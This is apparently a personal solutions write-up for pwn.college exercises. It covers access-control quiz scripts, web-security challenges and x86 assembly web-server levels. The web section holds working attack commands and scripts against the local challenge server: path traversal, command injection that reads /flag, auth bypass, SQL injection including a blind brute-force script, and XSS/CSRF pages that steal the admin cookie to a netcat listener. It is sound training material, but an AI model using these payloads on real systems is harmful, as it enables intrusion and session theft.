Access Control

Level 15 to 18

```
python3 lvl15to18.py
```

lvl15to18.py

```python
import subprocess

def calculate_answer(line):
    levels = {
        "TS": 3,
        "S": 2,
        "C": 1,
        "UC": 0
    }

    if "read" in line:
        action = "read"
    elif "write" in line:
        action = "write"

    subject_level = line.split("with level ")[1].split(" and categories")[0]
    subject_categories_string = line.split("{")[1].split("}")[0]
    subject_categories = set(subject_categories_string.split(", ")) if subject_categories_string else set()

    object_level = line.split("Object with level ")[1].split(" and categories")[0]
    object_categories_string = line.split("{")[2].split("}")[0]
    object_categories = set(object_categories_string.split(", ")) if object_categories_string else set()

    if action == "write":
        if levels[subject_level] <= levels[object_level] and subject_categories.issubset(object_categories):
                return "yes\n"

    elif action == "read":
        if levels[subject_level] >= levels[object_level] and object_categories.issubset(subject_categories):
                return "yes\n"

    return "no\n"

server = "/challenge/run"
process = subprocess.Popen(server, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

for line in process.stdout:
    line = line.strip()

    if 'pwn.college' in line:
        print(line)

    if len(line) > 0 and line[0] == "Q":

        trim_index = line.find(".")
        line = line[trim_index+2 : -1]

        ques_answer = calculate_answer(line)
        process.stdin.write(ques_answer)
        process.stdin.flush()

    if line == "Incorrect!":  # per debugging
        print(line)
        process.terminate()
        break
```

Level 19

```
python3 lvl19.py
```

lvl19.py

```python
import subprocess

def calculate_answer(line, levels):
    if "read" in line:
        action = "read"
    elif "write" in line:
        action = "write"

    subject_level = line.split("with level ")[1].split(" and categories")[0]
    subject_categories_string = line.split("{")[1].split("}")[0]
    subject_categories = set(subject_categories_string.split(", ")) if subject_categories_string else set()

    object_level = line.split("Object with level ")[1].split(" and categories")[0]
    object_categories_string = line.split("{")[2].split("}")[0]
    object_categories = set(object_categories_string.split(", ")) if object_categories_string else set()

    if action == "write":
        if levels[subject_level] <= levels[object_level] and subject_categories.issubset(object_categories):
                return "yes\n"

    elif action == "read":
        if levels[subject_level] >= levels[object_level] and object_categories.issubset(subject_categories):
                return "yes\n"

    return "no\n"


server = "/challenge/run"
process = subprocess.Popen(server, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

levels_legend_done = False
importance = 39
levels = False
levels_legend = {}


for line in process.stdout:
    line = line.strip()

    if levels_legend_done == False:
        if importance < 0:
            levels_legend_done = True
            continue

        if line == "40 Levels (first is highest aka more sensitive):":
            levels = True
            continue

        if levels == True:
            levels_legend[line] = importance
            importance -= 1
            continue

    if 'pwn.college' in line:
        print(line)

    if len(line) > 0 and line[0] == "Q":

        trim_index = line.find(".")
        line = line[trim_index+2 : -1]

        ques_answer = calculate_answer(line, levels_legend)
        process.stdin.write(ques_answer)
        process.stdin.flush()

    if line == "Incorrect!":  # per debugging
        print(line)
        process.terminate()
        break
```

Web Security

Path Traversal

PT 1

```
/challenge/server > /dev/null 2>&1 &
curl http://challenge.localhost/%2E%2E/%2E%2E/flag
```

PT 2

```
/challenge/server > /dev/null 2>&1 &
curl http://challenge.localhost/fortunes/%2E%2E/%2E%2E/%2E%2E/flag
```

CMDi

CMDi 1

```
/challenge/server > /dev/null 2>&1 &
curl -s "http://challenge.localhost/?directory=/challenge;cat%20/flag" | grep college
```

CMDi 2

```
/challenge/server > /dev/null 2>&1 &
curl -s "http://challenge.localhost/?directory=/challenge%26%26cat%20/flag" | grep college
```

CMDi 3

```
/challenge/server > /dev/null 2>&1 &
curl -s "http://challenge.localhost/?directory=/challenge';%20cat%20'/flag" | grep college
```

CMDi 4

```
/challenge/server > /dev/null 2>&1 &
curl -s "http://challenge.localhost/?timezone=rome;cat%20/flag" | grep -oP 'pwn\.college\{.*?\}'
```

CMDi 5

```
/challenge/server > /dev/null 2>&1 &
curl -s "http://challenge.localhost/?filepath=prove.txt;cat%20/flag%20%3E%20/flag.txt" > /dev/null; cat /flag.txt
```

CMDi 6

```
/challenge/server > /dev/null 2>&1 &
curl -s "http://challenge.localhost/?directory=../../flag%0Acat%20../../flag" | grep college
```

Authentication Bypass

AB 1

```
/challenge/server > /dev/null 2>&1 &
curl -s "http://challenge.localhost/?session_user=admin" | grep -oP "pwn\.college\{.*?\}"
```

AB 2

```
/challenge/server > /dev/null 2>&1 &
curl -s -b "session_user=admin" "http://challenge.localhost:80/" | grep -oP "pwn\.college\{.*?\}"
```

SQLi

SQLi 1

```
/challenge/server > /dev/null 2>&1 &
curl -s -c cookies.txt -X POST "http://challenge.localhost:80/" --data "username=admin&pin=42 OR 1 = 1" > /dev/null; curl -s -b cookies.txt -X GET "http://challenge.localhost:80/" | grep -oP "pwn\.college\{.*?\}"
```

SQLi 2

```
/challenge/server > /dev/null 2>&1 &
curl -s -c cookies.txt -X POST "http://challenge.localhost:80/" --data "username=admin&password=42' OR '1' = '1" > /dev/null; curl -s -b cookies.txt -X GET "http://challenge.localhost:80/" | grep -oP "pwn\.college\{.*?\}"
```

SQLi 3

```
/challenge/server > /dev/null 2>&1 &
curl -s "http://challenge.localhost:80/?query=admin\"%20UNION%20SELECT%20password%20FROM%20users%20WHERE%20username%20LIKE%20\"admin" | grep college
```

SQLi 4

```
/challenge/server > /dev/null 2>&1 &
users=$(curl -s "http://challenge.localhost:80/?query=%25\"%20UNION%20SELECT%20name%20FROM%20sqlite_master%20WHERE%20type%20%3D%20\"table" | grep -o 'users_[0-9]*'); curl -s "http://challenge.localhost:80/?query=admin\"%20UNION%20SELECT%20password%20FROM%20${users}%20WHERE%20username%20LIKE%20\"admin" | grep college
```

SQLi 5

```
/challenge/server > /dev/null 2>&1 &
python3 sqli5.py
```

sqli5.py *might take around 10 seconds to execute*

```python
import requests

url = 'http://challenge.localhost:80/'

chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.")
password = ""

for i in range(39):
    for e in chars:
        data = {
            # i + 12 (the first 12 character are "pwn.college{"" and can be skipped)
            #   + 1 (sql indexing starts at 1)
            "username": f'admin" AND SUBSTR(password, {i+13}, 1)="{e}" --',
            "password": "42"
        }

        session = requests.Session()
        response = session.post(url, data=data)

        if response.status_code == 200:
            password = password + e

print(password)
```

XSS

XSS 1

```
/challenge/server > /dev/null 2>&1 &
for i in {1..3}; do curl -s -X POST "http://challenge.localhost:80/" --data 'content=<input>icsdi</input>' > /dev/null; done; /challenge/victim | grep college
```

XSS 2

might take around 10 seconds to execute

```
/challenge/server > /dev/null 2>&1 &
curl -s -c cookies.txt -X POST "http://challenge.localhost:80/" --data 'content=<script>alert("PWNED")</script>' > /dev/null; /challenge/victim 2>&1 | grep college
```

XSS 3

might take around 10 seconds to execute

```
/challenge/server > /dev/null 2>&1 &
/challenge/victim "http://challenge.localhost/?msg=%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E" 2>&1 | grep college
```

XSS 4

might take around 10 seconds to execute

```
/challenge/server > /dev/null 2>&1 &
/challenge/victim "http://challenge.localhost/?msg=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E%3Ctextarea%3E" 2>&1 | grep college
```

XSS 5

```
/challenge/server > /dev/null 2>&1 &
python3 xss5.py
```

xss5.py *might take around 20/30 seconds to execute*

```
 1  import requests
 2  import subprocess
 3  import re
 4
 5  session = requests.Session()
 6  base_url = "http://challenge.localhost:80"
 7
 8  login = {
 9      'username': "hacker",
10      'password': "1337",
11  }
12
13  session.post(f"{base_url}/login", data = login)
14
15  script = "<script>fetch('/publish', { method: 'GET'})</script>"
16
17  data = {
18      'content': script,
19      'publish': 'true'
20  }
21
22  session.post(f"{base_url}/draft", data = data) # malevolent post created
23
24  victim = "/challenge/victim"
25  result = subprocess.run(victim) # running victim program
26
27  output = session.get(base_url).text
28  flag = re.search(r'pwn\.college\{.*?\}', output).group() # getting flag from admin post
29  print(flag)
```

XSS 6

The script is almost the same as the previous one, but on line 15 it's to be done a POST request to `/publish`

```
/challenge/server > /dev/null 2>&1 &
python3 xss6.py
```

xss6.py *might take around 20/30 seconds to execute*

```python
import requests
import subprocess
import re

session = requests.Session()
base_url = "http://challenge.localhost:80"

login = {
    'username': "hacker",
    'password': "1337",
}

session.post(f"{base_url}/login", data = login)

script = "<script>fetch('/publish', { method: 'POST'})</script>"

data = {
    'content': script,
    'publish': 'true'
}

session.post(f"{base_url}/draft", data = data) # malevolent post created

victim = "/challenge/victim"
result = subprocess.run(victim) # running victim program

output = session.get(base_url).text
flag = re.search(r'pwn\.college\{.*?\}', output).group() # getting flag from admin post
print(flag)
```

XSS 7

```
/challenge/server > /dev/null 2>&1 &
python3 xss7.py
```

xss7.py *might take around 20/30 seconds to execute*

```python
import requests
import subprocess
import re

base_url = "http://challenge.localhost:80"

session = requests.Session()

login = {
    'username': "hacker",
    'password': "1337",
}
session.post(f"{base_url}/login", data=login)

nc_listener = subprocess.Popen(['nc', '-lnv', '4242'], stdout=subprocess.PIPE,
stderr=subprocess.PIPE)

script = "<script>fetch('http://0.0.0.0:4242', { method: 'POST', body: document.cookie });
</script>"

data = {
    'content': script,
    'publish': 'true'
}

session.post(f"{base_url}/draft", data=data) # malevolent post created

```

```python
victim = "/challenge/victim"
subprocess.run(victim, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

nc_output, nc_error = nc_listener.communicate()
cookie = nc_output.decode().split("\n")[-1] # admin cookie found

# start admin session
session = requests.Session()
session.cookies.set(cookie.split("=")[0], cookie.split("=")[1])

output = session.get(base_url).text
flag = re.search(r'pwn\.college\{.*?\}', output).group()  # getting flag from admin post
print(flag)
```

CSRF

All of those scripts might take around 20/30 seconds to execute

CSRF 1

index.html

```html
<html>
    <body>
        <form id="redirect" action="http://challenge.localhost/publish" method="GET"></form>
        <script>
            document.getElementById("redirect").submit();
        </script>
    </body>
</html>
```

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code below. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

Finally, run the `/challenge/victim`, and in order to retrieve the flag run the following command:

```bash
curl -s -c cookies.txt -X POST "http://challenge.localhost:80/login" --data
"username=hacker&password=1337" > /dev/null && curl -s -b cookies.txt
"http://challenge.localhost:80/?username=hacker" | grep college && rm cookies.txt
```

CSRF 2

Same solution as `CSRF 1`, but with a `POST` request instead of the `GET` request on line 3 of `index.html`

CSRF 3

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code below. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

`/challenge/victim 2>/dev/null | grep college`, in yet another terminal, to run the victim program and retrieve the flag.

index.html

```html
<html>
    <body>
        <script>
            var script = "<script>alert('PWNED')</" + "script>";
            var url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(script);
            window.location.href = url;
        </script>
    </body>
</html>
```

index.html second version

```html
<html>
    <body>
        <form id="redirect" action="http://challenge.localhost/ephemeral" method="GET">
            <input id="msg_parameter" type="hidden" name="msg"/>
        </form>
        <script>
            let script = "<scr" + "ipt>alert('PWNED')</scr" + "ipt>";
            document.getElementById("msg_parameter").value = script;

            document.getElementById('redirect').submit();
        </script>
    </body>
</html>
```

CSRF 4

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code below. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

On yet another terminal session, set up a listener running `nc -lvn 4242`. Finally, run `/challenge/victim` into a new terminal window and retrieve the cookie in the previous listener.

Now that you have the cookie, you can make a `GET` request by impersonating the admin and retrieve the flag:

```
curl -s -b "your_found_cookie" "http://challenge.localhost:80" | grep college
```

index.html

```html
<script>
    var script = "<scr" + "ipt>fetch('http://0.0.0.0:4242', { method: 'POST', body: 
document.cookie });</s" + "cript>";
    var url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(script);
    window.location.href = url;
</script>
```

Easier solution

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code above. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

Then run `python3 xss7.py`, where `xss7.py` is the script that you can find in the upper exercises.

CSRF 5

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code below. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

On yet another terminal session, set up a listener running `nc -lvn 4242`. Finally, run `/challenge/victim` into a new terminal window and retrieve the flag in the previous listener.

index.html

```
<script>
var script = "<script>" +
    "fetch('http://challenge.localhost/')" +
        ".then(response => response.text())" +
        ".then(data => {" +
            "const flag = data.match(/\\{([^}]+)\\}/)[1];" +
            "fetch('http://0.0.0.0:4242',{method:'POST',body:'pwn.college{'+flag+'}'});" +
    "});</s" + "cript>";

    <!-- in the script you could just put data in the body without doing any matching -->

var url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(script);
window.location.href = url;
</script>
```

Building a Web Server

Level 1

Just follow the `README.md`

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    mov rdi, 0
    mov rax, 60      # SYS_exit
    syscall

.section .data
```

Level 2

Linux sistem call 41 `sys_socket`: int `family`, int `type`, int `protocol`

`grep -r 'SOCK_' /usr/include/`

- `/usr/include/x86_64-linux-gnu/bits/socket_type.h` to find the `type` values
- `/usr/include/x86_64-linux-gnu/bits/socket.h` to find the `family` values
- `/usr/include/netinet/in.h` to find the `protocol` values

server.s

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    # Create socket: socket(AF_INET, SOCK_STREAM, 0)
    mov rax, 41 # syscall: socket
    mov rdi, 2  # AF_INET (family)
    mov rsi, 1  # SOCK_STREAM (type)
    mov rdx, 0  # Protocol (0 = default)
    syscall

    cmp rax, 0
    jl error

    # Exit successfully
    mov rdi, 0
    mov rax, 60
    syscall

error:
    mov rdi, 1
    mov rax, 60
    syscall
```

Level 3

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    # sockaddr_in structure on the stack
    sub rsp, 16                        # move sp
    mov word ptr [rsp], 2              # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000       # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000  # sin_addr = 0.0.0.0

    mov rdi, rax    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    mov rdi, 0      # status 0
    mov rax, 60     # SYS_exit
    syscall
```

Level 4

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    mov rbx, rax # save socket fd

    # sockaddr_in structure on the stack
    sub rsp, 16                        # Allocate space on stack
    mov word ptr [rsp], 2              # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000       # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000  # sin_addr = 0.0.0.0

    # Bind socket
    mov rdi, rbx    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    mov rdi, rbx    # socket file descriptor
    mov rsi, 0      # backlog size
    mov rax, 50     # SYS_listen
    syscall

    mov rdi, 0  # status 0
    mov rax, 60 # SYS_exit
    syscall
```

Level 5

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    mov rbx, rax # save socket fd

    # sockaddr_in structure on the stack
    sub rsp, 16                         # Allocate space on stack
    mov word ptr [rsp], 2               # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000        # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000   # sin_addr = 0.0.0.0

    # Bind socket
    mov rdi, rbx    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    mov rdi, rbx    # socket file descriptor
    mov rsi, 0      # backlog size
    mov rax, 50     # SYS_listen
    syscall

    mov rdi, rbx    # socket fd
    mov rsi, 0      # pointer to sockaddr
    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

    mov rdi, 0  # status 0
    mov rax, 60 # SYS_exit
    syscall
```

Level 6

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    mov rbx, rax # save socket fd

    # sockaddr_in structure on the stack
    sub rsp, 16                          # Allocate space on stack
    mov word ptr [rsp], 2                # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000         # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000    # sin_addr = 0.0.0.0

    # Bind socket
    mov rdi, rbx    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    mov rdi, rbx    # socket file descriptor
    mov rsi, 0      # backlog size
    mov rax, 50     # SYS_listen
    syscall

    mov rdi, rbx    # socket fd
    mov rsi, 0      # pointer to sockaddr
    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

    mov rbx, rax # save accepted socket fd

    sub rsp, 1024   # allocate space on stack
    # Read from socket
    mov rdi, rbx    # accepted socket fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscallm

    # Write from socket
    mov rdi, rbx    # accepted socket fd
    lea rsi, [res]  # Pointer to string
    mov rdx, 19     # response size
    mov rax, 1      # SYS_write
    syscall

    # Close
    mov rdi, rbx    # accepted socket fd
    mov rax, 3      # SYS_close
    syscall

    mov rdi, 0  # status 0
    mov rax, 60 # SYS_exit
    syscall

.section .data
res:
    .asciz "HTTP/1.0 200 OK\r\n\r\n"
```

Level 7

```
.intel_syntax noprefix
```

```
.globl _start

.section .text
_start:
    # Open socket
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    mov rbx, rax # save socket fd

    # sockaddr_in structure on the stack
    sub rsp, 16                        # Allocate space on stack
    mov word ptr [rsp], 2              # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000       # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000  # sin_addr = 0.0.0.0

    # Bind socket
    mov rdi, rbx    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr structure
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    # Listen on socket
    mov rdi, rbx    # socket file descriptor
    mov rsi, 0      # backlog size
    mov rax, 50     # SYS_listen
    syscall

    # Accept http request from socket
    mov rdi, rbx    # socket fd
    mov rsi, 0      # pointer to sockaddr
    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

    mov rbx, rax # save accepted socket fd

    sub rsp, 1024   # allocate space on stack
    # Read from accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    mov byte ptr [rsi+20], 0    # Add null terminator after 20 characters (keep only file name)

    # Open file
    lea rdi, [rsi+4]    # +4 to skip the "GET " in the string
    mov rsi, 0          # flags = O_RDONLY
    mov rax, 2          # SYS_open
    syscall

    mov r12, rax    # save file fd

    sub rsp, 1024   # allocate space on stack
    # Read from file
    mov rdi, r12    # opened file fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    mov r13, rsi    # file content pointer
    mov r14, rax    # file content length in bytes

    # Close file
    mov rdi, r12    # opened file fd
    mov rax, 3      # SYS_close
    syscall

    # Write to accepted socket
    mov rdi, rbx    # accepted socket fd
    lea rsi, [res]  # Pointer to string
    mov rdx, 19     # response size
    mov rax, 1      # SYS_write
    syscall

    # Write to accepted socket file content
    mov rdi, rbx    # accepted socket fd
    mov rsi, r13    # Pointer to string
    mov rdx, r14    # response size
    mov rax, 1      # SYS_write
    syscall

    # Close accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rax, 3      # SYS_close
    syscall

    mov rdi, 0  # status 0
    mov rax, 60 # SYS_exit
    syscall

.section .data
res:
    .asciz "HTTP/1.0 200 OK\r\n\r\n"
```

Level 8

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    # Open socket
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    mov r15, rax # save socket fd

    # sockaddr_in structure on the stack
    sub rsp, 16                         # Allocate space on stack
    mov word ptr [rsp], 2               # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000        # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000   # sin_addr = 0.0.0.0

    # Bind socket
    mov rdi, r15    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr structure
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    # Listen on socket
    mov rdi, r15    # socket file descriptor
    mov rsi, 0      # backlog size
    mov rax, 50     # SYS_listen
    syscall

    # Accept http request from socket
    mov rdi, r15    # socket fd
    mov rsi, 0      # pointer to sockaddr
    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

    mov rbx, rax # save accepted socket fd

    sub rsp, 1024   # allocate space on stack
    # Read from accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    mov byte ptr [rsi+20], 0    # Add null terminator after 20 characters (keep only file name)

    # Open file
    lea rdi, [rsi+4]    # +4 to skip the "GET " in the string
    mov rsi, 0          # flags = O_RDONLY
    mov rax, 2          # SYS_open
    syscall

    mov r12, rax    # save file fd

    sub rsp, 1024   # allocate space on stack
    # Read from file
    mov rdi, r12    # opened file fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    mov r13, rsi    # file content pointer
    mov r14, rax    # file content length in bytes

    # Close file
    mov rdi, r12    # opened file fd
    mov rax, 3      # SYS_close
    syscall

    # Write to accepted socket
    mov rdi, rbx    # accepted socket fd
    lea rsi, [res]  # Pointer to string
    mov rdx, 19     # response size
    mov rax, 1      # SYS_write
    syscall

    # Write to accepted socket file content
    mov rdi, rbx    # accepted socket fd
    mov rsi, r13    # Pointer to string
    mov rdx, r14    # response size
    mov rax, 1      # SYS_write
    syscall

    # Close accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rax, 3      # SYS_close
    syscall

    # Accept http request from socket
    mov rdi, r15    # socket fd
    mov rsi, 0      # pointer to sockaddr
    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

.section .data
res:
    .asciz "HTTP/1.0 200 OK\r\n\r\n"
```

Level 9

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    # Open socket
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    mov r15, rax # save socket fd

    # sockaddr_in structure on the stack
    sub rsp, 16                         # Allocate space on stack
    mov word ptr [rsp], 2               # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000        # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000   # sin_addr = 0.0.0.0

    # Bind socket
    mov rdi, r15    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr structure
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    # Listen on socket
    mov rdi, r15    # socket file descriptor
    mov rsi, 0      # backlog size
    mov rax, 50     # SYS_listen
    syscall

    # Accept http request from socket
    mov rdi, r15    # socket fd
    mov rsi, 0      # pointer to sockaddr
    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

    mov rbx, rax # save accepted socket fd

    mov rax, 57     # SYS_fork
    syscall

    # Close accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rax, 3      # SYS_close
    syscall

    # Accept http request from socket
    mov rdi, r15    # socket fd
    mov rsi, 0      # pointer to sockaddr
    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

    # Close accepted socket
    mov rdi, r15    # socket fd
    mov rax, 3      # SYS_close
    syscall

    sub rsp, 1024   # allocate space on stack
    # Read from accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    mov byte ptr [rsi+20], 0    # Add null terminator after 20 characters (keep only file name)

    # Open file
    lea rdi, [rsi+4]    # +4 to skip the "GET " in the string
    mov rsi, 0          # flags = O_RDONLY
    mov rax, 2          # SYS_open
    syscall

    mov r12, rax    # save file fd

    sub rsp, 1024   # allocate space on stack
    # Read from file
    mov rdi, r12    # opened file fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    mov r13, rsi    # file content pointer
    mov r14, rax    # file content length in bytes

    # Close file
    mov rdi, r12    # opened file fd
    mov rax, 3      # SYS_close
    syscall

    # Write to accepted socket
    mov rdi, rbx    # accepted socket fd
    lea rsi, [res]  # Pointer to string
    mov rdx, 19     # response size
    mov rax, 1      # SYS_write
    syscall

    # Write to accepted socket file content
    mov rdi, rbx    # accepted socket fd
    mov rsi, r13    # Pointer to string
    mov rdx, r14    # response size
    mov rax, 1      # SYS_write
    syscall

    mov rdi, 0  # status 0
    mov rax, 60 # SYS_exit
    syscall

.section .data
res:
    .asciz "HTTP/1.0 200 OK\r\n\r\n"
```

Level 10

`/usr/include/asm-generic/fcntl.h` SYS_open flags values

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    # Open socket
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    mov r15, rax # save socket fd

    # sockaddr_in structure on the stack
    sub rsp, 16                         # Allocate space on stack
    mov word ptr [rsp], 2               # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000        # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000   # sin_addr = 0.0.0.0

    # Bind socket
    mov rdi, r15    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr structure
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    # Listen on socket
    mov rdi, r15    # socket file descriptor
    mov rsi, 0      # backlog size
    mov rax, 50     # SYS_listen
    syscall

parent_proc:
    # Accept http request from socket
    mov rdi, r15    # socket fd
    mov rsi, 0      # pointer to sockaddr
    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

    mov rbx, rax    # save accepted socket fd

    # Fork
    mov rax, 57     # SYS_fork
    syscall
    cmp rax, 0      # rax is 0 for child
    je child_proc   # jump if child

    # Close accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rax, 3      # SYS_close
    syscall

    jmp parent_proc

child_proc:

    # Close socket
    mov rdi, r15    # socket fd
    mov rax, 3      # SYS_close
    syscall

    sub rsp, 1024   # allocate space on stack
    # Read from accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    mov r13, rsi # post request buffer
    mov byte ptr [r13+21], 0    # Add null terminator after 21 characters (keep only file name)
    mov byte ptr [r13+179], 0   # Add null terminator to get the post content length

    # Open file
    lea rdi, [r13+5]    # +5 to skip the "POST " in the string
    mov rsi, 00000101   # flags = O_WRONLY|O_CREAT
    mov rdx, 0777
    mov rax, 2          # SYS_open
    syscall

    mov r12, rax    # save opened file fd


    # convert content length in memory from ascii to number. Output in $r15
    lea rsi, [r13+176]
    movzx rax, byte ptr [rsi]
    sub al, '0'
    imul rax, rax, 100
    mov r15, rax

    movzx rax, byte ptr [rsi+1]
    sub al, '0'
    imul rax, rax, 10
    add r15, rax

    movzx rax, byte ptr [rsi+2]
    sub al, '0'
    add r15, rax


    # Write to file
    mov rdi, r12        # opened file fd
    lea rsi, [rsi+7]  # Pointer to string
    mov rdx, r15        # response size
    mov rax, 1          # SYS_write
    syscall

    # Close file
    mov rdi, r12    # opened file fd
    mov rax, 3      # SYS_close
    syscall

    # Write to accepted socket
    mov rdi, rbx    # accepted socket fd
    lea rsi, [res]  # Pointer to string
    mov rdx, 19     # response size
    mov rax, 1      # SYS_write
    syscall

    mov rdi, 0  # status 0
    mov rax, 60 # SYS_exit
    syscall

.section .data
res:
    .asciz "HTTP/1.0 200 OK\r\n\r\n"
```

Level 11

```
.intel_syntax noprefix
.globl _start

.section .text
_start:
    # Open socket
    mov rdi, 2  # AF_INET
    mov rsi, 1  # SOCK_STREAM
    mov rdx, 0  # Protocol 0
    mov rax, 41 # SYS_socket
    syscall

    mov r15, rax # save socket fd

    # sockaddr_in structure on the stack
    sub rsp, 16                         # Allocate space on stack
    mov word ptr [rsp], 2               # sin_family = AF_INET
    mov word ptr [rsp+2], 0x5000        # sin_port = 80
    mov dword ptr [rsp+4], 0x00000000   # sin_addr = 0.0.0.0

    # Bind socket
    mov rdi, r15    # socket file descriptor
    mov rsi, rsp    # pointer to sockaddr structure
    mov rdx, 16     # socklen
    mov rax, 49     # SYS_bind
    syscall

    # Listen on socket
    mov rdi, r15    # socket file descriptor
    mov rsi, 0      # backlog size
    mov rax, 50     # SYS_listen
    syscall

parent_proc:
    # Accept http request from socket
    mov rdi, r15    # socket fd
    mov rsi, 0      # pointer to sockaddr
